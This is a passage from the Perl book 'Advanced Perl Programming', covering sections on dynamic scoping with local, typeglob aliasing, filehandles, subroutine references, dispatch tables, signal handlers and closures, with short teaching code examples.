A typeglob is a real data type accessible from script space and has the prefix "*"; while you can think of it as a wildcard representing all values sharing the identifier name, there's no pattern matching going on. You can assign typeglobs, store them in arrays, create local versions of them, or print them out, just as you can for any fundamental type. More on this in a moment.

3.1.1 Lexical Variables

Lexical variables (those tagged with my) aren't listed in the symbol table at all. Every block and subroutine gets a list of one or more arrays of variables called scratchpads (typically one, but more if the subroutine recurses). Each lexical variable is assigned one slot from a scratchpad; in fact, different types of variables with the same name - $spud and %spud, say - occupy different slots. Since a subroutine's lexical variables are independent of any other's, we get truly local variables. We will have more to say on this subject in Chapter 20, Perl Internals.

3.1.2 Lexical Versus Dynamic Scoping

There are two ways of getting private values inside a subroutine or block. One is to use the local operator, which operates on global variables only; it saves their values and arranges to have them restored at the end of the block. The other option is to use my, which not only creates a new variable, it marks it as private to the block.

On the surface, both local and my behave identically:

$a = 20;                       # global variable
{
     local ($a);               # save $a's old value;
                               # new value is undef
     my (@b);                  # Lexical variable
     $a = 10;                  # Modify $a's new value
     @b = ("wallace", "grommit");
     print $a;                 # prints "10"
     print "@b";               # prints "wallace grommit"
}
# Block ended. Back to global scope where only $a is valid
print $a;                      # prints "20", the old value
print @b;                      # prints a warning, because no global @b

A global variable created because of a local statement gets deallocated at the end of the block.

While their usage is identical, there's one important difference between local and my. The my declaration creates truly local variables, such as auto variables in C. This is called lexical binding. The variable is private to the block in which it is declared and is available only to that block (what you can see lexically defines the bounds). It is not available to subroutines that are called from the block.

In contrast, the local operator does not create new variable. When applied to global variables, it squirrels their values away and restores them at the end of the block. Because the variables themselves are global, their new value is available not only to the block in which the local operator is used, but also to all called subroutines. Consider

$x = 10;
first();

sub first {
    local ($x) = "zen";      # $x is still global, and has a new value
    second();
}
sub second {
    print $x;   # Prints "zen", the current value of the global $x
}

From global scope, we call first, which localizes the global $x, sets it to a new value (the string "zen"), and calls second. second sees the last value of $x, as set by first. This process is called dynamic scoping, because the value of $x seen by second depends on the particular call stack. This feature can be quite confusing in practice, because if you wrote another subroutine that declared a local $x and called second, it would pick up that version of $x.

In other words, local makes a global variable's new value temporary; it does not change the essential nature of the variable itself (it still remains global). my creates a truly local variable. Which is why you can say

local $x{foo}; # Squirrel away $x{foo}'s value.

but not

my $x{foo};    # Error. $x{foo} is not a variable

It is recommended that you use my wherever possible, because you almost always want lexical scoping. In addition, as we shall see in Chapter 20, lexically scoped variables are faster than dynamically scoped variables.

3.1.2.1 When would you ever need to use local?

The fact that local saves a variable's value and arranges to have that value restored at the end of the block results in a very neat idiom: localizing built-in variables. Consider a local version of the built-in array representing the program's arguments, @ARGV:

{ # Start of a new block
    local(@ARGV) = ("/home/alone", "/vassily/kandinski");
    while (<>) {
        # Iterate through each file and process each line
        print;  # print, for example
    }
} # Block ends. The original @ARGV restored after this.

The diamond operator (<>) needs a globally defined @ARGV to work, so it looks at the typeglob corresponding to the ARGV entry in the symbol table.[2] What it doesn't know, however, is that local has temporarily replaced @ARGV's value with a different array. The diamond operator treats each element of this array as a filename, opens it, reads a line in every iteration, and moves on to the first line of the next file when necessary. When the block is over, the original @ARGV is restored. This example does not work with my, because this operator creates a wholly new variable.

[2] For efficiency, Perl doesn't do a symbol table lookup at run-time. The compilation phase ensures that the corresponding opcodes know which typeglob to pick up. More on this in Chapter 20.

This technique works for other built-in variables too. Consider the variable $/ , which contains the input record separator ("\n" by default). The diamond input operator uses this separator to return the next chunk (by default, the next line). If you undef it, the whole file is slurped in, in one fell swoop. To avoid having to save the original value of $/ and restore it later, you can use local instead, like this:

{
    local $/ = undef; # Saves previous value of $/, and substitutes
                      # it with undef
    $a = <STDIN>;     # Slurp all of STDIN into $a
}

local is also used for localizing typeglobs, which, as it turns out, is the only way of getting local filehandles, formats, and directory handles.

Previous: 2.6 Resources | Advanced Perl Programming | Next: 3.2 Typeglobs
2.6 Resources | Book Index | 3.2 Typeglobs


[Chapter 3] 3.2 Typeglobs

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

3.2 Typeglobs

Typeglobs, we mentioned earlier, can be localized (with local only) and assigned to one another. Assigning a typeglob has the effect of aliasing one identifier name to another. Consider

$spud   = "Wow!";
@spud   = ("idaho", "russet");
*potato = *spud;   # Alias potato to spud using typeglob assignment
print "$potato\n"; # prints "Wow!"
print @potato, "\n"; # prints "idaho russet"

Once the typeglob assignment is made, all entities that were called "spud" can now also be referred to as "potato" - the names are freely interchangeable. That is, $spud and $potato are the same thing, and so are the subroutines &spud and &potato. Figure 3.2 shows the picture after a typeglob assignment; both entries in the symbol table end up pointing to the same typeglob value.[3]

[3] There is a wee bit of simplification here, which we will clarify in Chapter 20.

Figure 3.2: Assigning *spud to *potato: both symbol table entries point to the same typeglob

The alias holds true until the typeglob is reassigned or removed. (We will shortly see how to remove a typeglob.) In the example, there is no subroutine called spud, but if we define it after the typeglobs have been assigned, that subroutine can also be invoked as potato. It turns out that the alias works the other way too. If you assign a new list to @potato, it will also be automatically accessible as @spud.

3.2.1 Temporary Aliases

For now, there is no easy, intuitive way to get rid of an alias created by a typeglob assignment (you may reassign it, of course). You can, however, get temporary aliases using local, because it restores the typeglob's values at the end of the block.

Consider

$b = 10;
{
    local *b;    # Save *b's values
    *b = *a;     # Alias b to a
    $b = 20;     # Same as modifying $a instead
}                # *b restored at end of block
print $a;        # prints "20"
print $b;        # prints "10"

local *b localizes all changes to variables named "b"; that is, it puts all of *b's value pointers into safekeeping and substitutes an undef value for all of them. This lasts until the end of the block, whereupon the previous values of everything named "b" are restored ($b becomes 10 again). Now, because of the alias (*b = *a), the assignment $b = 20 has the effect of modifying both $a and $b. But at the end of the block, only $b is restored, and $a is left with the new value.

While we are on the subject, it is important to recall that lexical variables and the symbol table have nothing to do with each other; for this reason, localizing a typeglob with my is a compile-time error:

my(*F);

The script dies with this error: "Can't declare ref-to-glob cast in my."

3.2.2 Using Typeglob Aliases

This section discusses a number of places where typeglob aliases work very well.

3.2.2.1 Efficient parameter passing

Aliases happen to be quite a bit faster than references, because they don't need to do any dereferencing. Consider

$a = 10;
*b = *a ; $b++ ;  # 1. Increment $a indirectly through the typeglob
$r = \$a; $$r++;  # 2. Increment $a indirectly through the reference

Case 1 is around one and a half times faster than case 2 on my PC.

The example code below uses typeglobs to efficiently pass an array by reference to a subroutine, DoubleEachEntry, which doubles each element of the array:

@array = (10,20);
DoubleEachEntry(*array); # @array and @copy are identical.
print "@array \n"; # prints 20 40

sub DoubleEachEntry {
    # $_[0] contains *array
    local *copy = shift;  # Create a local alias
    foreach $element (@copy) {
        $element *= 2;
    }
}

Note that only one parameter is passed to the subroutine. The typeglob *copy springs into existence when it is first encountered, but because it didn't exist prior to the local statement, it and the corresponding entry in the symbol table are removed at the end of the block.

Incidentally, the code also takes advantage of the fact that the foreach statement internally aliases each successive element of @copy to $element, so modifying $element affects the elements of @copy (and therefore @array as well).

You cannot use a lexically scoped array as a parameter to DoubleEachEntry, because lexical variables don't have typeglobs associated with them. The restriction is easily circumvented, however. Typeglobs and references are strangely equivalent, as it turns out. You can pass in an ordinary reference to a subroutine expecting a typeglob, and it'll work well. (We'll have a little more to say about this in the section "Typeglobs and References.") That is, you can pass lexically scoped arrays to DoubleEachEntry like this:

my @array  = (1, 2, 3);
DoubleEachEntry(\@array); # Instead of *array, which wouldn't work

3.2.2.2 Aliasing on command lines

I often embed the Perl interpreter in my C/C++ programs to provide a powerful shell-like frontend. While I like to use long and descriptive subroutine names in Perl scripts, it is painful to keep typing them on the frontend's prompt. Aliases are very useful here:

sub a_long_drawn_out_sub_name {
   print "A sub by any other name is still a sub \n";
}
*f = *a_long_drawn_out_sub_name; # create an alias

Now typing f() on the command line is the same as calling the original subroutine but much easier on the carpals!

3.2.2.3 Friendly predefined variables with aliases

Consider the opposite case. Perl has a number of cryptic built-in variables such as $!, $/, and $@ , and many people would much rather work with longer descriptive names. The module English.pm in the standard Perl library comes to the rescue; it provides nice big, long aliased names, such as $ERRNO, $INPUT_RECORD_SEPARATOR, and $EVAL_ERROR (respectively). Try this:

use English;    # Import the module file called English.pm
# Try deleting a non-existent file
unlink ('/tmp/foo');
if ($ERRNO)  {  # Use $ERRNO instead of $!
    print $ERRNO, "\n"; # Prints "No such file or directory"
}

(We'll cover packages and the use statement in Chapter 6.) I think these well-known names should have been in there from the very beginning, instead of having to memorize funny-looking variables and an accompanying list of mnemonics. Some argue that you can use the same scheme for other languages ("use Dutch;"), but considering that the other system calls are in English anyway, I think that there's no point providing specific aliases for a small subset of the things you have to remember.

3.2.3 Aliasing Problem: Variable Suicide

Aliases, combined with the fact that local doesn't really create new variables (it temporarily slaps a new value onto a global variable), often leads to weird values of variables that presumably haven't even been touched. Consider the following simple case:

$x = 10;
foo(*x);
sub foo {
    local(*y) = @_;
    print "Before value of y : $y \n";
    local($x) = 100;
    print "After value of y : $y \n";
}

This prints the following:

Before value of y : 10
After value of y : 100

Can you resolve the mystery? Clearly, $y has not been touched between the two print statements, but its value seems to have changed. Hint: it reflects that of $x.

Let's trace the events in sequence:

$x = 10;                  # Assign a value to global $x
                          # function called
local *y = *x;            # Save global *y's values. Alias it to *x
print "before value"      # Because of the alias, $y is the same as $x,
                          # hence this prints 10
local $x = 100;           # IMPORTANT: local saves $x's value (10)
                          # and substitutes 100. Note that it does not
                          # create a new $x variable
                          # replaced by 100
print "after value";      # But *y is still aliased to *x. Therefore,
                          # $y now contains 100

The interaction of aliases and local can be even more subtle. Consider

foreach $f (10, 20, 30) {
    foo (*f);
}
sub foo {
    local (*g) = @_;
    $g++;
}

This prints the error: "Modification of a read-only value attempted at try.pl line 6."

The sequence is as follows: For efficiency, the foreach operator aliases $f to the next element of the list in every iteration, each of which is a constant. The subroutine foo aliases *g to *f, which means that $g is aliased to a constant. For this reason, the operation $g++ causes a problem.

Moral of the story: if you want truly local variables, use my. Use typeglob aliasing and local sparingly.

Previous: 3.1 Perl Variables, Symbol Table, and Scoping | Advanced Perl Programming | Next: 3.3 Typeglobs and References
3.1 Perl Variables, Symbol Table, and Scoping | Book Index | 3.3 Typeglobs and References


[Chapter 3] 3.3 Typeglobs and References

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

3.3 Typeglobs and References

You might have noticed that both typeglobs and references point to values. A variable $a can be seen simply as a dereference of a typeglob ${*a}. For this reason, Perl makes the two expressions ${\$a} and ${*a} refer to the same scalar value. This equivalence of typeglobs and ordinary references has some interesting properties and results in three useful idioms, described here.

3.3.1 Selective Aliasing

Earlier, we saw how a statement like *b = *a makes everything named "a" be referred to as "b" also. There is a way to create selective aliases, using the reference syntax:

*b = \$a;     # Assigning a scalar reference to a typeglob

Perl arranges it such that $b and $a are aliases, but @b and @a (or &b and &a, and so on) are not.

3.3.2 Constants

We get read-only variables by creating references to constants, like this:

*PI = \3.1415927;
# Now try to modify it.
$PI = 10;

Perl complains: "Modification of a read-only value attempted at try.pl line 3."

3.3.3 Naming Anonymous Subroutines

We will cover anonymous subroutines in the next chapter, so you might want to come back to this example later.

If you find it painful to call a subroutine indirectly through a reference (&$rs()), you can assign a name to it for convenience:

sub generate_greeting {
     my ($greeting) = @_;
        sub { print "$greeting world\n";}
}
$rs = generate_greeting("hello");
# Instead of invoking it as $&rs(), give it your own name.
*greet = $rs;
greet();    # Equivalent to calling $&rs(). Prints "hello world\n"

Of course, you can also similarly give a name to other types of references.

3.3.4 References to Typeglobs

We have seen how references and typeglobs are equivalent (in the sense that references can be assigned to typeglobs). Perl also allows you to take references to typeglobs by prefixing it with a backslash as usual:

$ra = \*a;

References to typeglobs are not used much in practice, because it is very efficient to pass typeglobs around directly. This is similar to the case of ordinary scalars, which don't need references to pass them around for efficiency.

Previous: 3.2 Typeglobs | Advanced Perl Programming | Next: 3.4 Filehandles, Directory Handles, and Formats
3.2 Typeglobs | Book Index | 3.4 Filehandles, Directory Handles, and Formats


[Chapter 3] 3.4 Filehandles, Directory Handles, and Formats

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

3.4 Filehandles, Directory Handles, and Formats

The built-in functions open and opendir initialize a filehandle and a directory handle, respectively:

open(F, "/home/calvin");
opendir (D, "/usr");

The symbols F and D are user-defined identifiers, but without a prefix symbol. Unfortunately, these handles don't have some basic facilities enjoyed by the important data types such as scalars, arrays, and hashes - you cannot assign handles, and you cannot create local handles:[4]

[4] I don't know why filehandles didn't get a standard prefix symbol and the other features enjoyed by the other data types.

local (G);   # invalid
G = F;       # also invalid

Before we go further, it is important to know that the standard Perl distribution comes with a module called FileHandle that provides an object-oriented version of filehandles. This allows you to create filehandle "objects," to assign one to the other, and to create them local to the block. Similarly, directory handles are handled by DirHandle. Developers are now encouraged to use these facilities instead of the techniques described next. But you still need to wade through the next discussion because there is a large amount of freeware code in which you will see these constructs; in fact, the standard modules FileHandle, DirHandle, and Symbol, as well as the entire IO hierarchy of modules, are built on this foundation.

Why is it so important to be able to assign handles and create local filehandles? Without assignment, you cannot pass filehandles as parameters to subroutines or maintain them in data structures. Without local filehandles, you cannot create recursive subroutines that open files (for processing included files, which themselves might include more, for example).

The simple answer to this solution is to use typeglob assignment. That is, if you feel the urge to say,

G = F;
# or,
local(F);

you can write it instead in terms of typeglobs:

*G = *F;
# or,
local (*F);

Similarly, if you want to store filehandles in data structures or create references to them, you use the corresponding typeglob. All I/O operators that require filehandles also accept typeglob references. Let us take a look at what we can do with assigning filehandles and localizing them (using typeglobs, of course).

3.4.1 I/O Redirection

The following example shows how I/O can be simply redirected:

open(F, '>/tmp/x') || die;
*STDOUT = *F;
print "hello world\n";

The print function thinks it is sending the output to STDOUT but ends up sending it to the open file instead, because the typeglob associated with STDOUT has been aliased to F. If you want this redirection to be temporary, you can localize *STDOUT.

3.4.2 Passing Filehandles to Subroutines

The following piece of code passes a filehandle to a subroutine:

open (F, "/tmp/sesame") || die $!;
read_and_print(*F);
sub read_and_print {
    local (*G) = @_;  # Filehandle G is the same as filehandle F
    while (<G>) { print; }
}

You might wonder why you don't need to do the same with open; after all it is a subroutine too and takes a filehandle as a parameter. Well, for built-in functions such as open, read, write, and readdir, Perl automatically passes the typeglob of that symbol (instead of a string called "F", for example).

3.4.3 Localizing Filehandles

Let us look at a subroutine that traverses include declarations in C header files. The subroutine shown next, ProcessFile, looks at each line of a file and, if it matches a #include declaration, extracts the filename and calls itself recursively. Since it has more lines to process in the original file, it cannot close the filehandle F. If F is global, it cannot be reused to open another file, so we use local(*F) to localize it. That way, each recursive invocation of ProcessFile gets its own unique filehandle value.

sub ProcessFile {
    my ($filename) = @_;
    my ($line);
    local (*F);           # Save old value of typeglob, (which means
                          # its filehandles, among other things)
    open (F, $filename) || return;
    while ($line = <F>) {
      # same as before
      ........
    }
    close(F);
}

Although we have not studied packages, it might be worth it to see how we could have used the FileHandle module in this case:

use FileHandle;
sub ProcessFile {
    my ($filename) = @_;
    my ($line);
    my $fh = new FileHandle; # Create local filehandle
    open ($fh, $filename) || return;
    while ($line = <$fh>) {
      ........
    }
    close($fh);
}

3.4.4 Strings as Handles

It so happens that typeglobs and objects of the FileHandle module are not the only solution. All Perl I/O functions that accept a handle also happen to accept a string instead. Consider

$fh = "foo";
open ($fh, "< /home/snoopy") ;
read ($fh, $buf, 1000);

When open examines its parameters, it finds a string where a typeglob should have been. In this case, it automatically creates a typeglob of that name and then proceeds as before. Similarly, when read gets a string instead of a typeglob, it looks up the corresponding typeglob from the symbol table, and then the internal filehandle, and proceeds to read the appropriate file. This extra lookup is slightly slower than using a bareword symbol, but the time taken is insignificant if you do the I/O in reasonably large chunks (the optimal size varies from system to system).

Previous: 3.3 Typeglobs and References | Advanced Perl Programming | Next: 4. Subroutine References and Closures
3.3 Typeglobs and References | Book Index | 4. Subroutine References and Closures


[Chapter 4] Subroutine References and Closures

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book
Previous: 3.4 Filehandles, Directory Handles, and Formats Chapter 4 Next: 4.2 Using Subroutine References

4. Subroutine References and Closures

Contents:
Subroutine References
Using Subroutine References
Closures
Using Closures
Comparisons to Other Languages
Resources

Many are called, but few are called back.

- Sister Mary Tricky

As with ordinary variables, subroutines can be named or anonymous, and Perl has a syntax for taking a reference to either type. Such references work rather like pointers to functions in C, and they can be used to create such sophisticated structures as the following:

  • Dispatch tables. Or data structures that map events to subroutine references. When an event comes in, a dispatch table is used to look up the corresponding subroutine. This is useful in creating large and efficient switch statements, finite state machines, signal handlers, and GUI toolkits.

  • Higher-order procedures. A higher-order procedure takes other procedures as arguments (like the C library procedure qsort) or returns new procedures. The latter feature is available only in interpreted languages such as Perl, Python, and LISP (hey, LISPers, you have lambda functions!).

  • Closures. A closure is a subroutine that, when created, packages its containing subroutine's environment (all the variables it requires and that are not local to itself).

In the following sections, we look at the syntax for taking and managing subroutine references and subsequently use them in the applications listed.

4.1 Subroutine References

There's nothing particularly fancy or magical about subroutine references. In this section, we'll study how to create references to named and anonymous subroutines and how to dereference them.

4.1.1 References to Named Subroutines

We saw earlier that to take a reference to an existing variable, we prefix it with a backslash. It is much the same with subroutines. \&mysub is a reference to &mysub. For example:

sub greet {
    print "hello \n";
}
$rs = \&greet; # Create a reference to subroutine greet

It is important to note that we are not calling the greet subroutine here, in the same way that we don't evaluate the value of a scalar when we take a reference to it.

Contrast this to the following code, which uses parentheses:

$rs = \&greet();

This expression likely doesn't do what you expect. It calls greet and produces a reference to its return value, which is the value of the last expression evaluated inside that subroutine. Since print executed last and returned a 1 or a 0 (indicating whether or not it was successful in printing the value), the result of this expression is a reference to a scalar containing 1 or 0! These are the kind of mistakes that make you wish for type-safety once in a while!

To summarize, do not use parentheses when taking a subroutine reference.

4.1.2 References to Anonymous Subroutines

You can create an anonymous subroutine simply by omitting the name in a subroutine declaration. In every other respect, the declaration is identical to a named one.

$rs = sub {
           print "hello \n";
      };

This expression returns a reference to the newly declared subroutine. Notice that because it is an expression, it requires the semicolon at the end, unlike the declaration of a named subroutine.

4.1.3 Dereferencing Subroutine References

Dereferencing a subroutine reference calls the subroutine indirectly. As with data references, Perl does not care whether $rs is pointing to a named or an anonymous subroutine; dereferencing works the same way in either case.

It should come as no surprise that prepending $rs with the appropriate prefix - "&", in this case - dereferences it:

&$rs(10, 20);  # Call the subroutine indirectly

That's all there is to it.

Just as you can use the -> syntax with arrays or hashes ($ra->[10] or $rh->{'k2'}), you can call subroutines indirectly through references, like this:

$rsub->(10);

In fact, subroutine calls can be chained if the intermediate calls return subroutine references. For example:

$rs = \&test1;
$rs->("Batman")->("Robin"); # Prints "Batman and Robin"

sub test1 {
    my $arg = shift;
    print "$arg";
    return \&test2;
}
sub test2 {
    my $arg = shift;
    print " and $arg\n";
}

4.1.4 Symbolic References

Recall that symbolic references contain names (strings), not real references. There is no difference in syntax between real and symbolic references. Consider

sub foo { print "foo called\n" }
$rs = "foo";
&$rs();  # prints "foo called"

Using symbolic references is a mite slower than using real references.

Previous: 3.4 Filehandles, Directory Handles, and Formats | Advanced Perl Programming | Next: 4.2 Using Subroutine References
3.4 Filehandles, Directory Handles, and Formats | Book Index | 4.2 Using Subroutine References


[Chapter 4] 4.2 Using Subroutine References

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

4.2 Using Subroutine References

Let's look at some common examples of using subroutine references: callback functions and higher-order procedures.

A callback function is an ordinary subroutine whose reference is passed around. The caller (who uses that reference) doesn't necessarily have an idea of which subroutine is getting invoked. Let's examine three simple examples involving callback functions: dispatch tables, signal handlers, and plotting functions.

4.2.1 Dispatch Table

A typical dispatch table is an array of subroutine references. The following example shows %options as a dispatch table that maps a set of command-line options to different subroutines:

%options = (       # For each option, call appropriate subroutine.
   "-h"         => \&help,
   "-f"         => sub {$askNoQuestions = 1},
   "-r"         => sub {$recursive = 1},
   "_default_"  => \&default,
);

ProcessArgs (\@ARGV, \%options); # Pass both as references

Some of these references in this code are to named subroutines. Others don't do much, so it is just simpler to code them as inline, anonymous subroutines. ProcessArgs can now be written in a very generic way. It takes two arguments: a reference to an array that it parses and a mapping of options that it refers to while processing the array. For each option, it calls the appropriate "mapped" function, and if an invalid flag is supplied in @ARGV, it calls the function corresponding to the string _default_.

ProcessArgs is shown in Example 4.1.

Example 4.1: ProcessArgs

ProcessArgs (\@ARGV, \%options); # Pass both as references
sub ProcessArgs {
    # Notice the notation: rl = ref. to array, rh = ref. to hash
    my ($rlArgs, $rhOptions) = @_;
    foreach $arg (@$rlArgs) {
        if (exists $rhOptions->{$arg}) {
            # The value must be a reference to a subroutine
            $rsub = $rhOptions->{$arg};
            &$rsub();   # Call it.
        } else {        #option does not exist.
            if (exists $rhOptions->{"_default_"}) {
                &{$rhOptions{"_default_"}};
            }
        }
    }
}

You can omit one step by using the block form of dereferencing (hark back to Section 1.2.5, "A More General Rule"), like this:

if (exists $rhOptions->{$arg}) {
    &{$rhOptions->{$arg}}(); # Dereference and call sub in one shot
}

I prefer the more verbose version for its readability.

4.2.2 Signal Handlers

Usually, a program works by calling functions implemented by the operating system, not vice versa. An exception to this rule is when the operating system has an urgent message to deliver to the program. In many operating systems, the delivery is accomplished by means of signals. A signal might be issued, for example, when a user presses Ctrl-C, when a floating-point exception is trapped by the hardware, or when a child process dies. You can specify a function to be called whenever a signal is delivered to your program. This allows you to take appropriate action. A Ctrl-C handler, for example, might perform clean-up before exiting. A floating-point exception handler might set an error flag and resume normal operation.

Perl provides a convenient way to specify signal handlers for each type of signal. There's a special variable called %SIG whose keys are the names of signals, and its values correspond to subroutine names or references, which are called for the corresponding signal.

sub ctrl_c_handler  {
        print "Ctrl C pressed \n";
}
$SIG {"INT"} = \&ctrl_c_handler;  # "INT" indicates  "Interrupt"
                                  # signal.

Here, the word INT is a reserved string and signifies keyboard interrupts with Ctrl-C. Your operating system's documentation for signals will tell you the names of signals that might be sent to your program or script. In fact, you can get this information from Perl also by asking it to print out some of its configuration information:

use Config; # Load the Config module
print $Config{sig_name};

When you assign values to %SIG, Perl also allows you to give the name of the subroutine, so you don't have to give it a subroutine reference:

$SIG {"INT"} = 'ctrl_c_handler';  # Name of the subroutine passed.

Incidentally, signal handlers are fraught with peril. Perl internally uses C library functions such as malloc, which are not reentrant. If a signal handler is triggered just when such a function is being called and the signal handler also happens to call the same function, the function gets totally confused and is likely to crash the system. This behavior is even more insidious at the script level, because you have no idea when Perl might call malloc. (Chapter 20, Perl Internals, should give you a very good idea.) The moral of the story is that you should attempt to do the least possible work in a signal handler, such as set a previously defined global variable to true, and check this variable's value in the code outside.

4.2.2.1 Expression plotting

Suppose we want to plot a variety of functions, of the general type:

y = f(x)

where f(x) is a function that takes a number as an argument and returns another number. Examples include sin(x), cos(x), and sqrt(x). But in addition to such simple examples, we would like to be able to plot arbitrarily complex expressions such as

y = sin(2x) + cos2(x);

It is easy to develop a subroutine plot that can plot this expression in the range 0 to 2 [pi]:

$PI = 3.1415927;
$rs = sub {                           # Anonymous subroutine
    my($x) = @_;
    return sin (2*$x) + cos($x) ** 2; # Function to be plotted
};
plot ($rs, 0, 2 * $PI, 0.01);

This is an example of a higher-order procedure that takes (a reference to) another user-defined subroutine as an input parameter and calls it one or more times. sort is an example of a built-in higher-order procedures; the difference is that it takes subroutine names, not references.

Previous: 4.1 Subroutine References | Advanced Perl Programming | Next: 4.3 Closures
4.1 Subroutine References | Book Index | 4.3 Closures


[Chapter 4] 4.3 Closures

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

4.3 Closures

Instead of returning data, a Perl subroutine can return a reference to a subroutine. This is really no different from any other ways of passing subroutine references around, except for a somewhat hidden feature involving anonymous subroutines and lexical (my) variables. Consider

$greeting = "hello world";
$rs = sub {
    print $greeting;
};
&$rs();  #prints "hello world"

In this example, the anonymous subroutine makes use of the global variable $greeting. No surprises here, right? Now, let's modify this innocuous example slightly:

sub generate_greeting {
    my($greeting) = "hello world";
    return sub {print $greeting};
}
$rs = generate_greeting();
&$rs(); # Prints "hello world"

The generate_greeting subroutine returns the reference to an anonymous subroutine, which in turn prints $greeting. The curious thing is that $greeting is a my variable that belongs to generate_greeting. Once generate_greeting finishes executing, you would expect all its local variables to be destroyed. But when you invoke the anonymous subroutine later on, using &$rs(), it manages to still print $greeting. How does it work?

Any other expression in place of the anonymous subroutine definition would have used $greeting right away. A subroutine block, on the other hand, is a package of code to be invoked at a later time, so it keeps track of all the variables it is going to need later on (taking them "to go," in a manner of speaking). When this subroutine is called subsequently and invokes print "$greeting", the subroutine remembers the value that $greeting had when that subroutine was created.

Let's modify this a bit more to really understand what this idiom is capable of:

sub generate_greeting {
    my($greeting) = @_;     # $greeting primed by arguments
    return sub {
                 my($subject)= @_;
                 print "$greeting $subject \n";
           };
}
$rs1 = generate_greeting("hello");
$rs2 = generate_greeting("my fair");

# $rs1 and $rs2 are two subroutines holding on to different $greeting's
&$rs1 ("world") ;  # prints "hello world"
&$rs2 ("lady") ;   # prints "my fair lady"

Instead of hardcoding $greeting, we get it from generate_greeting's arguments. When generate_greeting is called the first time, the anonymous subroutine that it returns holds onto $greeting's value. Hence the subroutine referred to by $rs1 behaves somewhat like this:

$rs1 = sub {
    my ($subject) = @_;
    my $greeting = "hello";
    print "$greeting $subject\n";   # $greeting's value is "hello"
}

The subroutine is known as a closure (the term comes from the LISP world). As you can see, it captures $greeting's value, and when it is invoked later on, it needs only one parameter.

Like some immigrants to a country who retain the culture and customs of the place in which they are born, closures are subroutines that package all the variables they need from the scope in which they are created.

As it happens, Perl creates closures only over lexical (my) variables and not over global or localized (tagged with local) variables. Let's take a peek under the covers to understand why this is so.

4.3.1 Closures, Behind the Scenes

If you are not interested in the details of how closures work, you can safely go on to the next section without loss of continuity.

Recall that the name of a variable and its value are separate entities. When it first sees $greeting, Perl binds the name "greeting" to a freshly allocated scalar value, setting the value's reference count to 1 (there's now an arrow pointing to the value). At the end of the block, Perl disassociates the name from the scalar value and decrements the value's reference count. In a typical block where you don't squirrel away references to that value, the value would be deallocated, since the reference count comes down to zero. In this example, however, the anonymous subroutine happens to use $greeting, so it increments that scalar value's reference count, thus preventing its automatic deallocation when generate_greeting finishes. When generate_greeting is called a second time, the name "greeting" is bound to a whole new scalar value, and so the second closure gets to hang on to its own scalar value.

Why don't closures work with local variables? Recall from Chapter 3, Typeglobs and Symbol Tables, that variables marked local are dynamically scoped (or "temporarily global"). A local variable's value depends on the call stack at the moment at which it is used. For this reason, if $greeting were declared local, Perl would look up its value when the anonymous subroutine is called (actually when print is called inside it), not when it is defined. You can verify this with a simple test:

sub generate_greeting {
    local ($greeting) = @_;
    return sub {
       print "$greeting \n" ;
    }
}
$rs = generate_greeting("hello");
$greeting = "Goodbye";
&$rs();      # Prints "Goodbye", not "hello"

The anonymous subroutine is not a closure in this case, because it doesn't hang onto the local value of $greeting ("hello") at the time of its creation. Once generate_greeting has finished executing, $greeting is back to its old global value, which is what is seen by the anonymous subroutine while executing.

It might appear that every time generate_greeting returns an anonymous subroutine, it creates a whole new packet of code internally. That isn't so. The code for the anonymous subroutine is generated once during compile time. $rs is internally a reference to a "code value," which in turn keeps track not only of the byte-codes themselves (which it shares with all other subroutine references pointing to the same piece of code), but also all the variables it requires from its environment (each subroutine reference packs its own private context for later use). Chapter 20 does less hand-waving and supplies exact details.

To summarize, a closure is the special case of an anonymous subroutine holding onto data that used to belong to its scope at the time of its creation.

Previous: 4.2 Using Subroutine References | Advanced Perl Programming | Next: 4.4 Using Closures
4.2 Using Subroutine References | Book Index | 4.4 Using Closures


[Chapter 4] 4.4 Using Closures

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

4.4 Using Closures

Closures are used in two somewhat distinct ways. The most common usage is as "smart" callback procedures. The other idiom is that of "iterators" (or "streams," as they are known in the LISP world).

4.4.1 Using Closures as "Smart" Callbacks

Since closures are subroutine references with a bit of private data thrown in, they are very convenient to use as callback procedures in graphical user interfaces.

Let's say you create a button using the Tk toolkit and give it a subroutine reference. When the button is pressed, it calls this subroutine back. Now if the same subroutine is given to two different buttons on the screen, there's a problem: How does the subroutine know which button is calling it? Simple. Instead of giving the button a reference to an ordinary subroutine, you give it a "smart" callback subroutine - a closure. This closure stores away some data specific to a button (such as its name), and when the subroutine is called, it magically has access to that data, as shown in Example 4.2.

This example creates two buttons that when clicked, print out their title strings. Though the discussion about packages and, specifically, the Tk module is slated for chapters to come, you might still understand the gist of the code in Example 4.2. For the moment, pay attention only to the part that uses closures (highlighted in boldface) and not to the mechanics of using the Tk module.

CreateButton creates a GUI button and feeds it a reference to an anonymous subroutine reference ($callback_proc), which holds on to $title, a my variable in its enclosing environment. When the user clicks on the button, the callback is invoked, whereupon it uses its stored value of $title.

Example 4.2: Passing Closures Instead of Ordinary Subroutines

use Tk;
# Creates a top level window
$topwindow = MainWindow->new();
# Create two buttons. The buttons print their names when clicked on.
CreateButton($topwindow, "hello");
CreateButton($topwindow, "world");
Tk::MainLoop();  # Dispatch events.
#--------------------------------------------------------------------
sub CreateButton {
    my ($parent, $title) = @_;
    my($b);
    $callback_proc = sub {
                             print "Button $title pressed\n";
                           };
    $b = $parent->Button(
        '-text'    => "$title",       # Button title
        '-fg'      => 'red',          # foreground color
        '-command' => $callback_proc   # sub to call when the button
                                      # is pressed
    );
    $b->pack();
}

Note that the buttons couldn't care less whether they get references to ordinary subroutines or closures.

4.4.2 Iterators and Streams

An iterator keeps track of where it currently is in a "stream" of entities and returns the next logical entity every time it is called. It is like a database cursor, which returns the next record from a stream of records (the list of records that match the given query). A stream can be bounded (a set of records from a database) or unbounded (a stream of even numbers).

Let's take a look at how closures can be used to represent streams and iterators. The first example is a stream of even numbers and an iterator on this stream that returns the next even number whenever it is called. Clearly, we cannot generate all possible even numbers (as in the bounded case), but we can always compute the next even number if we remember the previous number generated. The iterator remembers this crucial piece of information.

